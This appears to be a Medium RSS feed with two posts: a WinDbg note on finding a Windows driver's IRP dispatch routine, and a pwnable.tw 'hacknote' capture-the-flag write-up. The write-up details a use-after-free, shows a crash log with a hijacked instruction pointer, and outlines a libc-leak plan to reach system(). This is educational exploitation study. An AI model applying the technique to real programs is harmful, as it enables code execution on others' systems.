<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by FAMASoon on Medium]]></title>
        <description><![CDATA[Stories by FAMASoon on Medium]]></description>
        <link>https://medium.com/@FAMASoon?source=rss-d9138f95f18------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*iN4uu_Z2K4quetmy1hrpwg.png</url>
            <title>Stories by FAMASoon on Medium</title>
            <link>https://medium.com/@FAMASoon?source=rss-d9138f95f18------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 17 Nov 2026 17:15:41 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@FAMASoon/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Note: Finding IRP dispatch routine]]></title>
            <link>https://medium.com/@FAMASoon/note-finding-irp-dispatch-routine-ce6bee7dd996?source=rss-d9138f95f18------2</link>
            <guid isPermaLink="false">https://medium.com/p/ce6bee7dd996</guid>
            <category><![CDATA[windows-10]]></category>
            <category><![CDATA[windows]]></category>
            <category><![CDATA[windbg]]></category>
            <category><![CDATA[programming]]></category>
            <category><![CDATA[reverse-engineering]]></category>
            <dc:creator><![CDATA[FAMASoon]]></dc:creator>
            <pubDate>Sun, 15 Sep 2019 15:45:41 GMT</pubDate>
            <atom:updated>2019-09-15T15:45:41.913Z</atom:updated>
            <content:encoded><![CDATA[<h3>Environment</h3><ul><li>Windows 10</li><li>In VM</li><li>Attached WinDbg</li></ul><h3>How to finding</h3><p>First, show device object structures</p><pre>kd&gt; !drvobj DeviceObj 7<br>Driver object (ffffa3828a49b060) is for:<br> \Driver\DeviceObj</pre><pre>Driver Extension List: (id , addr)</pre><pre>Device Object list:<br>ffffa3828c2869f0</pre><pre>DriverEntry:   fffff80043a55064 DeviceObj<br>DriverStartIo: 00000000<br>DriverUnload:  fffff800439d1950 DeviceObj<br>AddDevice:     00000000</pre><pre>Dispatch routines:<br>[00] IRP_MJ_CREATE                      fffff800439d4ff0        DeviceObj+0x4ff0<br>[01] IRP_MJ_CREATE_NAMED_PIPE           fffff800439d4ff0        DeviceObj+0x4ff0<br>[02] IRP_MJ_CLOSE                       fffff800439d4ff0        DeviceObj+0x4ff0<br>[03] IRP_MJ_READ                        fffff800439d4ff0        DeviceObj+0x4ff0<br>[04] IRP_MJ_WRITE                       fffff800439d4ff0        DeviceObj+0x4ff0<br>[05] IRP_MJ_QUERY_INFORMATION           fffff800439d4ff0        DeviceObj+0x4ff0<br>[06] IRP_MJ_SET_INFORMATION             fffff800439d4ff0        DeviceObj+0x4ff0<br>[07] IRP_MJ_QUERY_EA                    fffff800439d4ff0        DeviceObj+0x4ff0<br>[08] IRP_MJ_SET_EA                      fffff800439d4ff0        DeviceObj+0x4ff0<br>[09] IRP_MJ_FLUSH_BUFFERS               fffff800439d4ff0        DeviceObj+0x4ff0<br>[0a] IRP_MJ_QUERY_VOLUME_INFORMATION    fffff800439d4ff0        DeviceObj+0x4ff0<br>[0b] IRP_MJ_SET_VOLUME_INFORMATION      fffff800439d4ff0        DeviceObj+0x4ff0<br>[0c] IRP_MJ_DIRECTORY_CONTROL           fffff800439d4ff0        DeviceObj+0x4ff0<br>[0d] IRP_MJ_FILE_SYSTEM_CONTROL         fffff800439d4ff0        DeviceObj+0x4ff0<br>[0e] IRP_MJ_DEVICE_CONTROL              fffff800439d5020        DeviceObj+0x5020<br>[0f] IRP_MJ_INTERNAL_DEVICE_CONTROL     fffff800439d4ff0        DeviceObj+0x4ff0<br>[10] IRP_MJ_SHUTDOWN                    fffff800439d4ff0        DeviceObj+0x4ff0<br>[11] IRP_MJ_LOCK_CONTROL                fffff800439d4ff0        DeviceObj+0x4ff0<br>[12] IRP_MJ_CLEANUP                     fffff800439d4ff0        DeviceObj+0x4ff0<br>[13] IRP_MJ_CREATE_MAILSLOT             fffff800439d4ff0        DeviceObj+0x4ff0<br>[14] IRP_MJ_QUERY_SECURITY              fffff800439d4ff0        DeviceObj+0x4ff0<br>[15] IRP_MJ_SET_SECURITY                fffff800439d4ff0        DeviceObj+0x4ff0<br>[16] IRP_MJ_POWER                       fffff800439d4ff0        DeviceObj+0x4ff0<br>[17] IRP_MJ_SYSTEM_CONTROL              fffff800439d4ff0        DeviceObj+0x4ff0<br>[18] IRP_MJ_DEVICE_CHANGE               fffff800439d4ff0        DeviceObj+0x4ff0<br>[19] IRP_MJ_QUERY_QUOTA                 fffff800439d4ff0        DeviceObj+0x4ff0<br>[1a] IRP_MJ_SET_QUOTA                   fffff800439d4ff0        DeviceObj+0x4ff0<br>[1b] IRP_MJ_PNP                         fffff800463238f0        nt!IopInvalidDeviceRequest<br></pre><pre>Device Object stacks:</pre><pre>!devstack ffffa3828c2869f0 :<br>  !DevObj           !DrvObj            !DevExt           ObjectName<br>&gt; ffffa3828c2869f0  \Driver\DeviceObj   00000000  DeviceObj</pre><p>IRP_MJ_DEVICE_CONTROL is IRP_Dispatch_Routine.<br>IRP_MJ_DEVICE_CONTROL is _IO_STACK_LOCATION<br>IOCTL dispatch routine defined in the follow structure.</p><pre>NTSTATES Dispatch DeviceControl {<br>  __in struct _DEVICE_OBJECT *DeviceObject,<br>  __in struct _IRP *Irp<br>}</pre><p>_IRP is structure of IRP(I/O request packet) structures pointer.</p><pre>kd&gt; dt -v -r 3 _IRP<br>nt!_IRP<br>struct _IRP, 23 elements, 0xd0 bytes<br>   +0x000 Type             : ??<br>   +0x002 Size             : ??<br>   +0x004 AllocationProcessorNumber : ??<br>   +0x006 Reserved         : ??<br>   +0x008 MdlAddress       : ???? <br>   +0x010 Flags            : ??<br>   +0x018 AssociatedIrp    : union &lt;anonymous-tag&gt;, 3 elements, 0x8 bytes<br>      +0x000 MasterIrp        : ???? <br>      +0x000 IrpCount         : ??<br>      +0x000 SystemBuffer     : ???? <br>   +0x020 ThreadListEntry  : struct _LIST_ENTRY, 2 elements, 0x10 bytes<br>      +0x000 Flink            : ???? <br>      +0x008 Blink            : ???? <br>   +0x030 IoStatus         : struct _IO_STATUS_BLOCK, 3 elements, 0x10 bytes<br>      +0x000 Status           : ??<br>      +0x000 Pointer          : ???? <br>      +0x008 Information      : ??<br>   +0x040 RequestorMode    : ??<br>   +0x041 PendingReturned  : ??<br>   +0x042 StackCount       : ??<br>   +0x043 CurrentLocation  : ??<br>   +0x044 Cancel           : ??<br>   +0x045 CancelIrql       : ??<br>   +0x046 ApcEnvironment   : ??<br>   +0x047 AllocationFlags  : ??<br>   +0x048 UserIosb         : ???? <br>   +0x050 UserEvent        : ???? <br>   +0x058 Overlay          : union &lt;anonymous-tag&gt;, 2 elements, 0x10 bytes<br>      +0x000 AsynchronousParameters : struct &lt;anonymous-tag&gt;, 3 elements, 0x10 bytes<br>         +0x000 UserApcRoutine   : ???? <br>         +0x000 IssuingProcess   : ???? <br>         +0x008 UserApcContext   : ???? <br>      +0x000 AllocationSize   : union _LARGE_INTEGER, 4 elements, 0x8 bytes<br>         +0x000 LowPart          : ??<br>         +0x004 HighPart         : ??<br>         +0x000 u                : struct &lt;anonymous-tag&gt;, 2 elements, 0x8 bytes<br>         +0x000 QuadPart         : ??<br>   +0x068 CancelRoutine    : ???? <br>   +0x070 UserBuffer       : ???? <br>   +0x078 Tail             : union &lt;anonymous-tag&gt;, 3 elements, 0x58 bytes<br>      +0x000 Overlay          : struct &lt;anonymous-tag&gt;, 9 elements, 0x58 bytes<br>         +0x000 DeviceQueueEntry : struct _KDEVICE_QUEUE_ENTRY, 3 elements, 0x18 bytes<br>         +0x000 DriverContext    : [4] ???? <br>         +0x020 Thread           : ???? <br>         +0x028 AuxiliaryBuffer  : ???? <br>         +0x030 ListEntry        : struct _LIST_ENTRY, 2 elements, 0x10 bytes<br>         +0x040 CurrentStackLocation : ???? <br>         +0x040 PacketType       : ??<br>         +0x048 OriginalFileObject : ???? <br>         +0x050 IrpExtension     : ???? <br>      +0x000 Apc              : struct _KAPC, 17 elements, 0x58 bytes<br>         +0x000 Type             : ??<br>         +0x001 SpareByte0       : ??<br>         +0x002 Size             : ??<br>         +0x003 SpareByte1       : ??<br>         +0x004 SpareLong0       : ??<br>         +0x008 Thread           : ???? <br>         +0x010 ApcListEntry     : struct _LIST_ENTRY, 2 elements, 0x10 bytes<br>         +0x020 KernelRoutine    : ???? <br>         +0x028 RundownRoutine   : ???? <br>         +0x030 NormalRoutine    : ???? <br>         +0x020 Reserved         : [3] ???? <br>         +0x038 NormalContext    : ???? <br>         +0x040 SystemArgument1  : ???? <br>         +0x048 SystemArgument2  : ???? <br>         +0x050 ApcStateIndex    : ??<br>         +0x051 ApcMode          : ??<br>         +0x052 Inserted         : ??<br>      +0x000 CompletionKey    : ???? <br>Memory read error 000000000000007b</pre><p>offset 0xb8 (=0x078+0x40), this location stored CurrentStackLocation.<br>CurrentStackLocation’s type is _IO_STACK_LOCATION</p><pre>kd&gt; dt -v -r 3 _IO_STACK_LOCATION<br>nt!_IO_STACK_LOCATION<br>struct _IO_STACK_LOCATION, 9 elements, 0x48 bytes<br>   +0x000 MajorFunction    : ??<br>   +0x001 MinorFunction    : ??<br>   +0x002 Flags            : ??<br>   +0x003 Control          : ??<br>   +0x008 Parameters       : union &lt;anonymous-tag&gt;, 39 elements, 0x20 bytes<br>      +0x000 Create           : struct &lt;anonymous-tag&gt;, 5 elements, 0x20 bytes<br>         +0x000 SecurityContext  : ???? <br>         +0x008 Options          : ??<br>         +0x010 FileAttributes   : ??<br>         +0x012 ShareAccess      : ??<br>         +0x018 EaLength         : ??<br>      +0x000 CreatePipe       : struct &lt;anonymous-tag&gt;, 5 elements, 0x20 bytes<br>         +0x000 SecurityContext  : ???? <br>         +0x008 Options          : ??<br>         +0x010 Reserved         : ??<br>         +0x012 ShareAccess      : ??<br>         +0x018 Parameters       : ???? <br>      +0x000 CreateMailslot   : struct &lt;anonymous-tag&gt;, 5 elements, 0x20 bytes<br>         +0x000 SecurityContext  : ???? <br>         +0x008 Options          : ??<br>         +0x010 Reserved         : ??<br>         +0x012 ShareAccess      : ??<br>         +0x018 Parameters       : ???? <br>      +0x000 Read             : struct &lt;anonymous-tag&gt;, 4 elements, 0x18 bytes<br>         +0x000 Length           : ??<br>         +0x008 Key              : ??<br>         +0x00c Flags            : ??<br>         +0x010 ByteOffset       : union _LARGE_INTEGER, 4 elements, 0x8 bytes<br>      +0x000 Write            : struct &lt;anonymous-tag&gt;, 4 elements, 0x18 bytes<br>         +0x000 Length           : ??<br>         +0x008 Key              : ??<br>         +0x00c Flags            : ??<br>         +0x010 ByteOffset       : union _LARGE_INTEGER, 4 elements, 0x8 bytes<br>      +0x000 QueryDirectory   : struct &lt;anonymous-tag&gt;, 4 elements, 0x20 bytes<br>         +0x000 Length           : ??<br>         +0x008 FileName         : ???? <br>         +0x010 FileInformationClass : Enum _FILE_INFORMATION_CLASS,  76 total enums<br>??<br>         +0x018 FileIndex        : ??<br>      +0x000 NotifyDirectory  : struct &lt;anonymous-tag&gt;, 2 elements, 0x10 bytes<br>         +0x000 Length           : ??<br>         +0x008 CompletionFilter : ??<br>      +0x000 NotifyDirectoryEx : struct &lt;anonymous-tag&gt;, 3 elements, 0x18 bytes<br>         +0x000 Length           : ??<br>         +0x008 CompletionFilter : ??<br>         +0x010 DirectoryNotifyInformationClass : Enum _DIRECTORY_NOTIFY_INFORMATION_CLASS,  2 total enums<br>??<br>      +0x000 QueryFile        : struct &lt;anonymous-tag&gt;, 2 elements, 0x10 bytes<br>         +0x000 Length           : ??<br>         +0x008 FileInformationClass : Enum _FILE_INFORMATION_CLASS,  76 total enums<br>??<br>      +0x000 SetFile          : struct &lt;anonymous-tag&gt;, 7 elements, 0x20 bytes<br>         +0x000 Length           : ??<br>         +0x008 FileInformationClass : Enum _FILE_INFORMATION_CLASS,  76 total enums<br>??<br>         +0x010 FileObject       : ???? <br>         +0x018 ReplaceIfExists  : ??<br>         +0x019 AdvanceOnly      : ??<br>         +0x018 ClusterCount     : ??<br>         +0x018 DeleteHandle     : ???? <br>      +0x000 QueryEa          : struct &lt;anonymous-tag&gt;, 4 elements, 0x20 bytes<br>         +0x000 Length           : ??<br>         +0x008 EaList           : ???? <br>         +0x010 EaListLength     : ??<br>         +0x018 EaIndex          : ??<br>      +0x000 SetEa            : struct &lt;anonymous-tag&gt;, 1 elements, 0x4 bytes<br>         +0x000 Length           : ??<br>      +0x000 QueryVolume      : struct &lt;anonymous-tag&gt;, 2 elements, 0x10 bytes<br>         +0x000 Length           : ??<br>         +0x008 FsInformationClass : Enum _FSINFOCLASS,  15 total enums<br>??<br>      +0x000 SetVolume        : struct &lt;anonymous-tag&gt;, 2 elements, 0x10 bytes<br>         +0x000 Length           : ??<br>         +0x008 FsInformationClass : Enum _FSINFOCLASS,  15 total enums<br>??<br>      +0x000 FileSystemControl : struct &lt;anonymous-tag&gt;, 4 elements, 0x20 bytes<br>         +0x000 OutputBufferLength : ??<br>         +0x008 InputBufferLength : ??<br>         +0x010 FsControlCode    : ??<br>         +0x018 Type3InputBuffer : ???? <br>      +0x000 LockControl      : struct &lt;anonymous-tag&gt;, 3 elements, 0x18 bytes<br>         +0x000 Length           : ???? <br>         +0x008 Key              : ??<br>         +0x010 ByteOffset       : union _LARGE_INTEGER, 4 elements, 0x8 bytes<br>      +0x000 DeviceIoControl  : struct &lt;anonymous-tag&gt;, 4 elements, 0x20 bytes<br>         +0x000 OutputBufferLength : ??<br>         +0x008 InputBufferLength : ??<br>         +0x010 IoControlCode    : ??<br>         +0x018 Type3InputBuffer : ???? <br>      +0x000 QuerySecurity    : struct &lt;anonymous-tag&gt;, 2 elements, 0x10 bytes<br>         +0x000 SecurityInformation : ??<br>         +0x008 Length           : ??<br>      +0x000 SetSecurity      : struct &lt;anonymous-tag&gt;, 2 elements, 0x10 bytes<br>         +0x000 SecurityInformation : ??<br>         +0x008 SecurityDescriptor : ???? <br>      +0x000 MountVolume      : struct &lt;anonymous-tag&gt;, 2 elements, 0x10 bytes<br>         +0x000 Vpb              : ???? <br>         +0x008 DeviceObject     : ???? <br>      +0x000 VerifyVolume     : struct &lt;anonymous-tag&gt;, 2 elements, 0x10 bytes<br>         +0x000 Vpb              : ???? <br>         +0x008 DeviceObject     : ???? <br>      +0x000 Scsi             : struct &lt;anonymous-tag&gt;, 1 elements, 0x8 bytes<br>         +0x000 Srb              : ???? <br>      +0x000 QueryQuota       : struct &lt;anonymous-tag&gt;, 4 elements, 0x20 bytes<br>         +0x000 Length           : ??<br>         +0x008 StartSid         : ???? <br>         +0x010 SidList          : ???? <br>         +0x018 SidListLength    : ??<br>      +0x000 SetQuota         : struct &lt;anonymous-tag&gt;, 1 elements, 0x4 bytes<br>         +0x000 Length           : ??<br>      +0x000 QueryDeviceRelations : struct &lt;anonymous-tag&gt;, 1 elements, 0x4 bytes<br>         +0x000 Type             : Enum _DEVICE_RELATION_TYPE,  7 total enums<br>??<br>      +0x000 QueryInterface   : struct &lt;anonymous-tag&gt;, 5 elements, 0x20 bytes<br>         +0x000 InterfaceType    : ???? <br>         +0x008 Size             : ??<br>         +0x00a Version          : ??<br>         +0x010 Interface        : ???? <br>         +0x018 InterfaceSpecificData : ???? <br>      +0x000 DeviceCapabilities : struct &lt;anonymous-tag&gt;, 1 elements, 0x8 bytes<br>         +0x000 Capabilities     : ???? <br>      +0x000 FilterResourceRequirements : struct &lt;anonymous-tag&gt;, 1 elements, 0x8 bytes<br>         +0x000 IoResourceRequirementList : ???? <br>      +0x000 ReadWriteConfig  : struct &lt;anonymous-tag&gt;, 4 elements, 0x20 bytes<br>         +0x000 WhichSpace       : ??<br>         +0x008 Buffer           : ???? <br>         +0x010 Offset           : ??<br>         +0x018 Length           : ??<br>      +0x000 SetLock          : struct &lt;anonymous-tag&gt;, 1 elements, 0x1 bytes<br>         +0x000 Lock             : ??<br>      +0x000 QueryId          : struct &lt;anonymous-tag&gt;, 1 elements, 0x4 bytes<br>         +0x000 IdType           : Enum BUS_QUERY_ID_TYPE,  6 total enums<br>??<br>      +0x000 QueryDeviceText  : struct &lt;anonymous-tag&gt;, 2 elements, 0x10 bytes<br>         +0x000 DeviceTextType   : Enum DEVICE_TEXT_TYPE,  2 total enums<br>??<br>         +0x008 LocaleId         : ??<br>      +0x000 UsageNotification : struct &lt;anonymous-tag&gt;, 3 elements, 0x10 bytes<br>         +0x000 InPath           : ??<br>         +0x001 Reserved         : [3]  &quot;--- memory read error at address 0x00000000`0000000c ---&quot;<br>         +0x008 Type             : Enum _DEVICE_USAGE_NOTIFICATION_TYPE,  7 total enums<br>??<br>      +0x000 WaitWake         : struct &lt;anonymous-tag&gt;, 1 elements, 0x4 bytes<br>         +0x000 PowerState       : Enum _SYSTEM_POWER_STATE,  8 total enums<br>??<br>      +0x000 PowerSequence    : struct &lt;anonymous-tag&gt;, 1 elements, 0x8 bytes<br>         +0x000 PowerSequence    : ???? <br>      +0x000 Power            : struct &lt;anonymous-tag&gt;, 5 elements, 0x20 bytes<br>         +0x000 SystemContext    : ??<br>         +0x000 SystemPowerStateContext : struct _SYSTEM_POWER_STATE_CONTEXT, 10 elements, 0x4 bytes<br>         +0x008 Type             : Enum _POWER_STATE_TYPE,  2 total enums<br>??<br>         +0x010 State            : union _POWER_STATE, 2 elements, 0x4 bytes<br>         +0x018 ShutdownType     : Enum POWER_ACTION,  9 total enums<br>??<br>      +0x000 StartDevice      : struct &lt;anonymous-tag&gt;, 2 elements, 0x10 bytes<br>         +0x000 AllocatedResources : ???? <br>         +0x008 AllocatedResourcesTranslated : ???? <br>      +0x000 WMI              : struct &lt;anonymous-tag&gt;, 4 elements, 0x20 bytes<br>         +0x000 ProviderId       : ??<br>         +0x008 DataPath         : ???? <br>         +0x010 BufferSize       : ??<br>         +0x018 Buffer           : ???? <br>      +0x000 Others           : struct &lt;anonymous-tag&gt;, 4 elements, 0x20 bytes<br>         +0x000 Argument1        : ???? <br>         +0x008 Argument2        : ???? <br>         +0x010 Argument3        : ???? <br>         +0x018 Argument4        : ???? <br>   +0x028 DeviceObject     : ???? <br>   +0x030 FileObject       : ???? <br>   +0x038 CompletionRoutine : ???? <br>   +0x040 Context          : ???? <br>Memory read error 0000000000000043</pre><p>_IO_STACK_LOCATION is stored IoControlCode, inputBuffer, inputBufferSize, outputBuffer and outputBufferSize.</p><p>If you are finding IOCTL dispatch routine, please refer to this article :)</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ce6bee7dd996" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[pwnable.tw hacknote Writeup]]></title>
            <link>https://medium.com/yuru-sec/pwnable-tw-hacknote-writeup-83129787adbb?source=rss-d9138f95f18------2</link>
            <guid isPermaLink="false">https://medium.com/p/83129787adbb</guid>
            <category><![CDATA[exploit]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[programming]]></category>
            <category><![CDATA[pwn]]></category>
            <dc:creator><![CDATA[FAMASoon]]></dc:creator>
            <pubDate>Sun, 15 Sep 2019 13:20:42 GMT</pubDate>
            <atom:updated>2019-09-15T13:20:42.372Z</atom:updated>
            <content:encoded><![CDATA[<blockquote><em>A good Hacker should always take good notes!<br>nc </em><a href="http://chall.pwnable.tw/"><em>chall.pwnable.tw</em></a><em> 10102</em></blockquote><h3>Environment</h3><pre>$ uname -a<br>Linux base-debootstrap 4.4.0-159-generic #187-Ubuntu SMP Thu Aug 1 16:28:06 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux</pre><p>Check binary security</p><pre>pwndbg&gt; checksec<br>[*] &#39;/home/vagrant/work/pwnabletw/hacknote/hacknote&#39;<br>    Arch:     i386-32-little<br>    RELRO:    Partial RELRO<br>    Stack:    Canary found<br>    NX:       NX enabled<br>    PIE:      No PIE (0x8048000)</pre><h3>Findings</h3><p>First, I decompiled some functions using Ghidra.</p><h3>Main routine.</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*hUxHpSYR2FyuOhch.png" /></figure><h3>AddNote function</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*g93mJ4S_5Jtju8hz.png" /></figure><ul><li>malloc is called in units of 8 bytes(This chunk is managed by fastbins)</li></ul><h3>DeleteNote</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/950/0*qmQAbR8N8sh2XDz1.png" /></figure><ul><li>Calls the free() but does not store null pointer(Maybe can use Use After Free)</li></ul><h3>PrintNote</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*ThYpTlTNjNAOObi7.png" /></figure><ul><li>Execute the value received from the heap as a function.</li><li>In the printNote function, the function is called from the pointer of the note to be displayed + 4-byte value.</li><li>The function called here is the function pointer “0x804862b” added by the AddNote function.</li><li>Decompiled 0x804862b</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/620/0*k3KlMT-gc_KG__OF.png" /></figure><h3>Managing notes</h3><p>In hacknote, Notes are managed as follows.</p><pre>struct Note {<br>    void (putsNoteFn*)(int NotePointer); // offset + 0x0<br>    char *NoteContent; // offset + 0x4<br>}</pre><pre>void *NoteList;</pre><p>Each note is linked to NotesList after memory is allocated with malloc(8).</p><h3>Bug</h3><h3>Use After Free</h3><p>DeleteNote function does not store Null pointer after free(), thus, it has Use After Free Bug.<br> Steps to Reproduce:</p><ol><li>Add Note. Input: 1-&gt;4-&gt;AAA</li><li>Add Note. Input: 1-&gt;4-&gt;BBB</li><li>Delete Note. Input: 2-&gt;0</li><li>Add Note. Input: 1-&gt;4-&gt;CCC</li><li>Print Note. Input: 3-&gt;0</li></ol><p>“CCC” is displayed even though the value of the 0th index should have been deleted.<br> This is because the reference to the heap still exists after deleting index 0 in step 3, and the value on the heap is overwritten in step 4 later.</p><h4>Control EIP with UAF</h4><ol><li>AddNote</li></ol><pre>NoteList &lt;- malloc(8)<br>NoteList[0]<br>Note {<br>  *putsFn_p()<br>  *content<br>}</pre><p>2. Store function pointer</p><pre>NoteList[0]<br>Note { // offset +0x0<br>  putsFn_p() = 0x804862b // offset +0x0<br>  content // offset + 0x4<br>}</pre><p>3. Set content length to 0x10bytes</p><pre>NoteList[0]<br>Note { // offset + 0x0<br>  putsFn_p() = 0x804862b // offset + 0x0<br>  content = malloc(0x10) // offset + 0x4<br>}</pre><p>4. Add another 0x10byte note</p><pre>NoteList[0]<br>Note { // offset + 0x0<br>  putsFn_p() = 0x804862b // offset + 0x0<br>  content = malloc(0x10) // offset + 0x4<br>}</pre><pre>NoteList[1]<br>Note { // offset + 0x0<br>  putsFn_p() = 0x804862b // offset + 0x0<br>  content = malloc(0x10) // offset + 0x4<br>}</pre><p>5. Delete NoteList[0]</p><pre>NoteList[0]<br>Note { // offset + 0x0<br>  fastbins[0][0] // offset + 0x0<br>  fastbins[1][0] // offset + 0x4<br>}</pre><pre>NoteList[1]<br>Note { // offset + 0x0<br>  putsFn_p() = 0x804862b // offset + 0x0<br>  content = malloc(0x10) // offset + 0x4<br>}</pre><p>6. Delete NoteList[1]</p><pre>NoteList[0]<br>Note { // offset + 0x0<br>  fastbins[0][0] // offset + 0x0<br>  fastbins[1][0] // offset + 0x4<br>}</pre><pre>NoteList[1]<br>Note { // offset + 0x0<br>  fastbins[0][1] // offset + 0x0<br>  fastbins[1][1] // offset + 0x4<br>}</pre><p>7. Add Note command: 1 -&gt; 8 -&gt; CCCCDDD</p><pre>NoteList[0]<br>Note { // offset + 0x0<br>  fastbins[0][0] // offset + 0x0<br>  fastbins[1][0] // offset + 0x4<br>}</pre><pre>NoteList[1]<br>Note { // offset + 0x0<br>  fastbins[0][1] // offset + 0x0<br>  fastbins[1][1] // offset + 0x4<br>}</pre><pre>NoteList[2]<br>Note { // offset + 0x0<br>  putsFn_p() = 0x804862b // offset + 0x0<br>  content = malloc(0x8) = reallocated fastbins[0][0] &lt;= &quot;CCCCDDD&quot; // offset + 0x4<br>}</pre><p>8. State</p><pre>NoteList[0]<br>Note { // offset + 0x0<br>  0x43434343(&quot;CCCC&quot;) // offset + 0x0<br>  fastbins[1][0] // offset + 0x4<br>}</pre><pre>NoteList[1]<br>Note { // offset + 0x0<br>  fastbins[0][1] // offset + 0x0<br>  fastbins[1][1] // offset + 0x4<br>}</pre><pre>NoteList[2]<br>Note { // offset + 0x0<br>  putsFn_p() = 0x804862b // offset + 0x0<br>  content = malloc(0x8) = reallocated fastbins[0][0] &lt;= &quot;CCCCDDD&quot; // offset + 0x4<br>}</pre><p>9. Execute PrintNote: 3-&gt;0</p><pre>NoteList[0]<br>Note { // offset + 0x0<br>  0x43434343(&quot;CCCC&quot;) // offset + 0x0<br>  fastbins[1][0] // offset + 0x4<br>}</pre><pre>call =&gt; 0x43434343 // Crash!!</pre><h4>Demo</h4><p>Set EIP to 0x43434343.<br>Steps to Reproduce:</p><ol><li>1-&gt;16-&gt;AAAA</li><li>1-&gt;16-&gt;BBBB</li><li>2-&gt;0</li><li>2-&gt;1</li><li>1-&gt;8-&gt;CCCCDDD</li><li>3-&gt;0</li></ol><pre>pwndbg&gt; r<br>Starting program: /home/vagrant/work/pwnabletw/hacknote/hacknote<br>----------------------<br>       HackNote<br>----------------------<br> 1. Add note<br> 2. Delete note<br> 3. Print note<br> 4. Exit<br>----------------------<br>Your choice :1<br>Note size :16<br>Content :AAAA<br>Success !<br>----------------------<br>       HackNote<br>----------------------<br> 1. Add note<br> 2. Delete note<br> 3. Print note<br> 4. Exit<br>----------------------<br>Your choice :1<br>Note size :16<br>Content :BBBB<br>Success !<br>----------------------<br>       HackNote<br>----------------------<br> 1. Add note<br> 2. Delete note<br> 3. Print note<br> 4. Exit<br>----------------------<br>Your choice :2<br>Index :0<br>Success<br>----------------------<br>       HackNote<br>----------------------<br> 1. Add note<br> 2. Delete note<br> 3. Print note<br> 4. Exit<br>----------------------<br>Your choice :2<br>Index :1<br>Success<br>----------------------<br>       HackNote<br>----------------------<br> 1. Add note<br> 2. Delete note<br> 3. Print note<br> 4. Exit<br>----------------------<br>Your choice :1<br>Note size :8<br>Content :CCCCDDD<br>Success !<br>----------------------<br>       HackNote<br>----------------------<br> 1. Add note<br> 2. Delete note<br> 3. Print note<br> 4. Exit<br>----------------------<br>Your choice :3<br>Index :0</pre><pre>Program received signal SIGSEGV, Segmentation fault.<br>0x43434343 in ?? ()<br>LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA<br>────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]────────────────────────────────────────────────────────────────────────────────<br>*EAX  0x43434343 (&#39;CCCC&#39;)<br> EBX  0x0<br> ECX  0x0<br>*EDX  0x804b008 ◂— &#39;CCCCDDD\n&#39;<br>*EDI  0xf7fca000 ◂— 0x1b1db0<br>*ESI  0xf7fca000 ◂— 0x1b1db0<br>*EBP  0xffffd618 —▸ 0xffffd638 ◂— 0x0<br>*ESP  0xffffd5ec —▸ 0x804893f ◂— add    esp, 0x10<br>*EIP  0x43434343 (&#39;CCCC&#39;)<br>─────────────────────────────────────────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────────────────────────────────────────<br>Invalid address 0x43434343</pre><pre>──────────────────────────────────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────────────────────────────────<br>00:0000│ esp  0xffffd5ec —▸ 0x804893f ◂— add    esp, 0x10<br>01:0004│      0xffffd5f0 —▸ 0x804b008 ◂— &#39;CCCCDDD\n&#39;<br>02:0008│      0xffffd5f4 —▸ 0xffffd608 ◂— 0xa30 /* &#39;0\n&#39; */<br>03:000c│      0xffffd5f8 ◂— 0x4<br>... ↓<br>05:0014│      0xffffd600 —▸ 0xffffd628 —▸ 0xffff0a33 ◂— 0x0<br>06:0018│      0xffffd604 ◂— 0x0<br>07:001c│      0xffffd608 ◂— 0xa30 /* &#39;0\n&#39; */<br>────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────────────────────────────────────────<br> ► f 0 43434343<br>   f 1  804893f<br>   f 2  8048a8a<br>   f 3 f7e30637 __libc_start_main+247<br>Program received signal SIGSEGV (fault address 0x43434343)</pre><h3>Exploit</h3><p>We get EIP control.<br>Next, execute the exploit.</p><p>Plan:</p><ol><li>puts() the read@GOT function address</li><li>Leak libc base address by subtracting offset of read@GOT function address</li><li>Calculate libc base address + system()</li><li>Send system() address</li><li>Execute system()</li></ol><p>If libc address leak is possible, there is no problem even if it is not read@GOT function.</p><p>Function offset.</p><pre>$ nm -D libc_32.so.6 | grep system<br>- snip -<br>0003a940 W system</pre><pre>$ nm -D ./libc_32.so.6 | grep read<br>- snip -<br>000d41c0 W read<br>- snip -</pre><h3>Writeup</h3><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/acae36c0d9f4068db2a27fa8ed93dd9f/href">https://medium.com/media/acae36c0d9f4068db2a27fa8ed93dd9f/href</a></iframe><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=83129787adbb" width="1" height="1" alt=""><hr><p><a href="https://medium.com/yuru-sec/pwnable-tw-hacknote-writeup-83129787adbb">pwnable.tw hacknote Writeup</a> was originally published in <a href="https://medium.com/yuru-sec">YURU-SEC</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
